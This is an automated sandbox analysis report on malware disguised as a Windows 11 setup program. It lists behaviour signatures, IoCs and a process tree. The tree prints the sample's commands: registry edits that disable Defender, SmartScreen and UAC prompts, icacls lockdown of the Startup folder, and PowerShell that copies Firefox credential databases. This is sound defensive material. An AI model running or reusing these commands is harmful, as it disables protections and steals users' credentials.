caa8ea5f119085a9bc0f33b8f1a0ad80b6d4a9b52050f03f11bc539ebdc88534

Analysis

max time kernel
151s
max time network
125s
platform
windows7_x64
resource
win7-20220414-en
submitted
24/04/2022, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
windows11-setup_11_67721.exe
Size 34.1MB
Sample220424-lc2m4adbdm
SHA256 caa8ea5f119085a9bc0f33b8f1a0ad80b6d4a9b52050f03f11bc539ebdc88534
MD5 d6026535a8208484ef914271c3dc9f31
SHA1 f883e5cc08c774fb9955d23a03c456391a4e458b
SHA512 bb0e46d1f20fc917d2de458fa144cdd6158ff765526af25776056bb4e930c793ed590f4892a0e4ca718fa549949c68f091077ebce72f0bf17628df0c302846af
MD5 SHA1 SHA512

Score

10^/10

discovery evasion ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Modify Existing Service

T1031

Modify Registry

T1112

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\sOFTWARe\micRoSOft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS\dIsABLEenHancedNotIfICatioNs = "1"	reg.exe

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\DRIVERS\ETC\HOSTS	cmd.exe

Executes dropped EXE 17 IoCs

pid	Process
1984	windows11-setup_11_67721.tmp
1188	windows11-setup_11_67721.tmp
1176	yb.exe
916	rp.exe
1364	rp.exe
540	rp.exe
1500	rp.exe
1548	rp.exe
428	rp.exe
228	rp.exe
1576	rp.exe
1584	rp.exe
1056	rp.exe
1768	rp.exe
1856	rp.exe
1688	Windows11InstaIIationAssistant.scr
1576	Windows11InstaIIationAssistant.sCr

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows11InstallationAssistant.lnk	windows11-setup_11_67721.tmp

Loads dropped DLL 11 IoCs

pid	Process
644	windows11-setup_11_67721.exe
1532	windows11-setup_11_67721.exe
1188	windows11-setup_11_67721.tmp
1568	Process not Found
1804	cmd.exe
860	Process not Found
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1188	windows11-setup_11_67721.tmp
1188	windows11-setup_11_67721.tmp

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
596	icacls.exe
524	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1688 set thread context of 1576	1688	Windows11InstaIIationAssistant.scr	132

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Logs\CBS\CbsPersist_20220424112445.cab	makecab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Windows11InstaIIationAssistant.sCr

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Windows11InstaIIationAssistant.sCr
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Windows11InstaIIationAssistant.sCr

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1784	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1208	taskkill.exe

Modifies data under HKEY_USERS 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	rp.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1188	windows11-setup_11_67721.tmp
1188	windows11-setup_11_67721.tmp
916	rp.exe
916	rp.exe
540	rp.exe
540	rp.exe
1364	rp.exe
1500	rp.exe
1500	rp.exe
1364	rp.exe
1548	rp.exe
1548	rp.exe
1584	rp.exe
1584	rp.exe
1576	rp.exe
1056	rp.exe
1576	rp.exe
1056	rp.exe
1296	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1208	taskkill.exe
Token: SeBackupPrivilege	824	vssvc.exe
Token: SeRestorePrivilege	824	vssvc.exe
Token: SeAuditPrivilege	824	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemProfilePrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeProfSingleProcessPrivilege	1488	WMIC.exe
Token: SeIncBasePriorityPrivilege	1488	WMIC.exe
Token: SeCreatePagefilePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeDebugPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeRemoteShutdownPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: 33	1488	WMIC.exe
Token: 34	1488	WMIC.exe
Token: 35	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemProfilePrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeProfSingleProcessPrivilege	1488	WMIC.exe
Token: SeIncBasePriorityPrivilege	1488	WMIC.exe
Token: SeCreatePagefilePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeDebugPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeRemoteShutdownPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: 33	1488	WMIC.exe
Token: 34	1488	WMIC.exe
Token: 35	1488	WMIC.exe
Token: SeDebugPrivilege	916	rp.exe
Token: SeAssignPrimaryTokenPrivilege	916	rp.exe
Token: SeIncreaseQuotaPrivilege	916	rp.exe
Token: 0	916	rp.exe
Token: SeRestorePrivilege	1580	msiexec.exe
Token: SeTakeOwnershipPrivilege	1580	msiexec.exe
Token: SeSecurityPrivilege	1580	msiexec.exe
Token: SeDebugPrivilege	1364	rp.exe
Token: SeAssignPrimaryTokenPrivilege	1364	rp.exe
Token: SeIncreaseQuotaPrivilege	1364	rp.exe
Token: SeDebugPrivilege	540	rp.exe
Token: SeAssignPrimaryTokenPrivilege	540	rp.exe
Token: SeIncreaseQuotaPrivilege	540	rp.exe
Token: 0	540	rp.exe
Token: SeDebugPrivilege	1500	rp.exe
Token: SeAssignPrimaryTokenPrivilege	1500	rp.exe
Token: SeIncreaseQuotaPrivilege	1500	rp.exe
Token: SeDebugPrivilege	1548	rp.exe
Token: SeAssignPrimaryTokenPrivilege	1548	rp.exe
Token: SeIncreaseQuotaPrivilege	1548	rp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1188	windows11-setup_11_67721.tmp

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1688	Windows11InstaIIationAssistant.scr

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 1984	644	windows11-setup_11_67721.exe	28
PID 644 wrote to memory of 1984	644	windows11-setup_11_67721.exe	28
PID 644 wrote to memory of 1984	644	windows11-setup_11_67721.exe	28
PID 644 wrote to memory of 1984	644	windows11-setup_11_67721.exe	28
PID 644 wrote to memory of 1984	644	windows11-setup_11_67721.exe	28
PID 644 wrote to memory of 1984	644	windows11-setup_11_67721.exe	28
PID 644 wrote to memory of 1984	644	windows11-setup_11_67721.exe	28
PID 1984 wrote to memory of 1532	1984	windows11-setup_11_67721.tmp	29
PID 1984 wrote to memory of 1532	1984	windows11-setup_11_67721.tmp	29
PID 1984 wrote to memory of 1532	1984	windows11-setup_11_67721.tmp	29
PID 1984 wrote to memory of 1532	1984	windows11-setup_11_67721.tmp	29
PID 1984 wrote to memory of 1532	1984	windows11-setup_11_67721.tmp	29
PID 1984 wrote to memory of 1532	1984	windows11-setup_11_67721.tmp	29
PID 1984 wrote to memory of 1532	1984	windows11-setup_11_67721.tmp	29
PID 1532 wrote to memory of 1188	1532	windows11-setup_11_67721.exe	30
PID 1532 wrote to memory of 1188	1532	windows11-setup_11_67721.exe	30
PID 1532 wrote to memory of 1188	1532	windows11-setup_11_67721.exe	30
PID 1532 wrote to memory of 1188	1532	windows11-setup_11_67721.exe	30
PID 1532 wrote to memory of 1188	1532	windows11-setup_11_67721.exe	30
PID 1532 wrote to memory of 1188	1532	windows11-setup_11_67721.exe	30
PID 1532 wrote to memory of 1188	1532	windows11-setup_11_67721.exe	30
PID 1188 wrote to memory of 1208	1188	windows11-setup_11_67721.tmp	31
PID 1188 wrote to memory of 1208	1188	windows11-setup_11_67721.tmp	31
PID 1188 wrote to memory of 1208	1188	windows11-setup_11_67721.tmp	31
PID 1188 wrote to memory of 1208	1188	windows11-setup_11_67721.tmp	31
PID 1188 wrote to memory of 596	1188	windows11-setup_11_67721.tmp	34
PID 1188 wrote to memory of 596	1188	windows11-setup_11_67721.tmp	34
PID 1188 wrote to memory of 596	1188	windows11-setup_11_67721.tmp	34
PID 1188 wrote to memory of 596	1188	windows11-setup_11_67721.tmp	34
PID 1188 wrote to memory of 1176	1188	windows11-setup_11_67721.tmp	36
PID 1188 wrote to memory of 1176	1188	windows11-setup_11_67721.tmp	36
PID 1188 wrote to memory of 1176	1188	windows11-setup_11_67721.tmp	36
PID 1188 wrote to memory of 1176	1188	windows11-setup_11_67721.tmp	36
PID 1464 wrote to memory of 1640	1464	WScript.exe	40
PID 1464 wrote to memory of 1640	1464	WScript.exe	40
PID 1464 wrote to memory of 1640	1464	WScript.exe	40
PID 1640 wrote to memory of 308	1640	cmd.exe	42
PID 1640 wrote to memory of 308	1640	cmd.exe	42
PID 1640 wrote to memory of 308	1640	cmd.exe	42
PID 1640 wrote to memory of 1656	1640	cmd.exe	43
PID 1640 wrote to memory of 1656	1640	cmd.exe	43
PID 1640 wrote to memory of 1656	1640	cmd.exe	43
PID 1640 wrote to memory of 300	1640	cmd.exe	44
PID 1640 wrote to memory of 300	1640	cmd.exe	44
PID 1640 wrote to memory of 300	1640	cmd.exe	44
PID 1640 wrote to memory of 1556	1640	cmd.exe	45
PID 1640 wrote to memory of 1556	1640	cmd.exe	45
PID 1640 wrote to memory of 1556	1640	cmd.exe	45
PID 1640 wrote to memory of 932	1640	cmd.exe	46
PID 1640 wrote to memory of 932	1640	cmd.exe	46
PID 1640 wrote to memory of 932	1640	cmd.exe	46
PID 1640 wrote to memory of 1740	1640	cmd.exe	47
PID 1640 wrote to memory of 1740	1640	cmd.exe	47
PID 1640 wrote to memory of 1740	1640	cmd.exe	47
PID 1640 wrote to memory of 1664	1640	cmd.exe	48
PID 1640 wrote to memory of 1664	1640	cmd.exe	48
PID 1640 wrote to memory of 1664	1640	cmd.exe	48
PID 1640 wrote to memory of 2016	1640	cmd.exe	49
PID 1640 wrote to memory of 2016	1640	cmd.exe	49
PID 1640 wrote to memory of 2016	1640	cmd.exe	49
PID 1640 wrote to memory of 296	1640	cmd.exe	50
PID 1640 wrote to memory of 296	1640	cmd.exe	50
PID 1640 wrote to memory of 296	1640	cmd.exe	50
PID 1640 wrote to memory of 1612	1640	cmd.exe	51

C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe
"C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:644
- C:\Users\Admin\AppData\Local\Temp\is-6Q7G1.tmp\windows11-setup_11_67721.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-6Q7G1.tmp\windows11-setup_11_67721.tmp" /SL5="$70022,11099401,820224,C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe
    "C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe" /verysilent /sp-
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Users\Admin\AppData\Local\Temp\is-8CPOL.tmp\windows11-setup_11_67721.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-8CPOL.tmp\windows11-setup_11_67721.tmp" /SL5="$80022,11099401,820224,C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_67721.exe" /verysilent /sp-
      4⤵
      Executes dropped EXE
      Drops startup file
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1188
    - - C:\Windows\SysWOW64\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /im "Windows11InstaIIationAssistant.scr"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1208
    - - C:\Windows\SysWOW64\icacls.exe
        
        "icacls.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /remove:d everyone /T /C
        5⤵
        Modifies file permissions
        
        PID:596
    - - C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\yb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\yb.exe"
        5⤵
        Executes dropped EXE
        
        PID:1176
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\lg34yu93.cmd""
        5⤵
        
        PID:1060
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s ipINfO.iO/ip
        6⤵
        
        PID:1216
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s IPinFo.io/city
        6⤵
        
        PID:1256
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s IPINFo.Io/country
        6⤵
        
        PID:1936
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\slt5hdy83.cmd""
        5⤵
        Loads dropped DLL
        
        PID:1804
      - C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:916
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1364
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:228
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        9⤵
        
        PID:940
      - C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:540
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1500
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:428
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        9⤵
        
        PID:1612
      - C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1548
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1576
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1768
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        9⤵
        
        PID:1684
      - C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1584
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1056
        
        C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1856
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        9⤵
        
        PID:1688
    - - C:\Windows\SysWOW64\icacls.exe
        
        "icacls.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny everyone:(DE,DC) /T /C
        5⤵
        Modifies file permissions
        
        PID:524
    - - C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr
        
        "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of SetWindowsHookEx
        
        PID:1688
      - C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.sCr
        
        "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.sCr"
        6⤵
        Executes dropped EXE
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/p3albouo.default-release\logins.json\" \"C:\Users\Admin\AppData\Local\Temp\4h3cfv6ngld82r7199087.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/p3albouo.default-release\key3.db\" \"C:\Users\Admin\AppData\Local\Temp\ikrvrj5v7199087.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/p3albouo.default-release\key4.db\" \"C:\Users\Admin\AppData\Local\Temp\fe81mxov7bx94x47199087.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/p3albouo.default-release\cert9.db\" \"C:\Users\Admin\AppData\Local\Temp\3vjjj8y1hfg5e0t7199087.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/p3albouo.default-release\prefs.js\" \"C:\Users\Admin\AppData\Local\Temp\dklu0qbt7199087.tmp\" -Force"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1296

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\tmp\lbm.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\tmp\lfd.cmd" "
  2⤵
  - Drops file in Drivers directory
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\reg.exe
    REg aDd "hklm\SOFTWARe\MiCroSofT\wiNDoWs\CuRREnTVeRSiON\PoLicIES\SYSteM" /v "consentpRoMptbEHaVIoradmiN" /t rEg_DWord /D "0" /F
    3⤵
    PID:308
- - C:\Windows\system32\reg.exe
    reg AdD "hKLm\soFTWAre\mIcROSoFt\wiNdowS\CURRENTVERsIon\polIciEs\SyStEm" /V "COnsEntprOmPtbEhAVioruSEr" /T rEG_DwORd /D "0" /f
    3⤵
    PID:1656
- - C:\Windows\system32\reg.exe
    REg aDd "hkLM\sOFTWARe\MicrosofT\WiNDows\cuRrEnTVerSion\PolicIES\sysTem" /V "PROmpTOnseCUReDESKtOp" /T reG_DwoRd /D "0" /F
    3⤵
    PID:300
- - C:\Windows\system32\reg.exe
    rEG aDD "hKlm\SOFTwARE\PoLICIes\MicRosOfT\wINDOWs deFEnDer\sPyneT" /V "SuBmiTsAMpleSCoNsent" /T ReG_dWOrd /d "2" /f
    3⤵
    PID:1556
- - C:\Windows\system32\reg.exe
    ReG AdD "HkLm\sOftWArE\POLiCiES\MiCROSoft\winDoWs deFENdeR\SpynEt" /V "SpyneTrePOrtiNg" /t Reg_dWoRd /D "0" /F
    3⤵
    PID:932
- - C:\Windows\system32\reg.exe
    reG ADd "HKLm\SoftWaRE\POlicies\MICROsoft\WiNdOwS deFENdeR" /V "pUaPrOTEctiOn" /T rEg_DworD /D "0" /f
    3⤵
    PID:1740
- - C:\Windows\system32\reg.exe
    rEG ADD "hkLm\SoFTWARE\PolICies\miCRoSOFT\WInDoWs dEFENDEr\mpENgiNE" /V "mPenAbLepUs" /T REG_dwORd /d "0" /f
    3⤵
    PID:1664
- - C:\Windows\system32\reg.exe
    rEG add "HklM\SOftWaRE\pOLiCies\MIcRoSOFT\wiNDoWS\SYStEm" /V "ENABleSmArtScReen" /T ReG_DWoRd /D "0" /F
    3⤵
    PID:2016
- - C:\Windows\system32\reg.exe
    REG add "hKLM\SofTwaRe\MICrosOfT\WInDoWs\cuRRentVeRSION\eXPLoREr" /V "SMARTscreEnenabLEd" /t rEg_SZ /d "OfF" /F
    3⤵
    PID:296
- - C:\Windows\system32\reg.exe
    REg aDd "hKLM\SOftWarE\PolicieS\MiCroSOFt\mRt" /v "dontoFFErTHROughwuAU" /t "reg_DwOrD" /d "1" /f
    3⤵
    PID:1612
- - C:\Windows\system32\reg.exe
    Reg add "hKLm\SoFTwARe\pOlicIES\mIcROSOFt\mRT" /v "DonTrEpoRTINFECtiOnINFOrMatioN" /t "reg_DWORD" /d "1" /f
    3⤵
    PID:1840
- - C:\Windows\system32\reg.exe
    reG AdD "hKLm\sofTWaRE\POLiCiEs\mICrosOFt\WiNDows deFEndeR\uX cONfIgURaTIon" /v "nOTIficaTion_SuppResS" /t ReG_dwoRd /D "1" /F
    3⤵
    PID:1380
- - C:\Windows\system32\reg.exe
    rEg add "Hklm\sOFTwaRe\poliCies\mICrOsOfT\wIndOWs DefeNdER\wIndows dEfENDER ExplOiT gUaRD\cOnTRoLlEd FoldER ACCeSS" /v "enaBLeControlLedFOLDERACCesS" /T reG_dWoRD /D "0" /F
    3⤵
    PID:1144
- - C:\Windows\system32\reg.exe
    Reg add "Hklm\SOftwaRe\poLiCIES\MicRoSofT\winDoWs DEfenDeR\repOrTing" /V "DIsAbLeEnhanCednOtiFICaTioNs" /T rEg_DWoRD /d "1" /F
    3⤵
    PID:1396
- - C:\Windows\system32\reg.exe
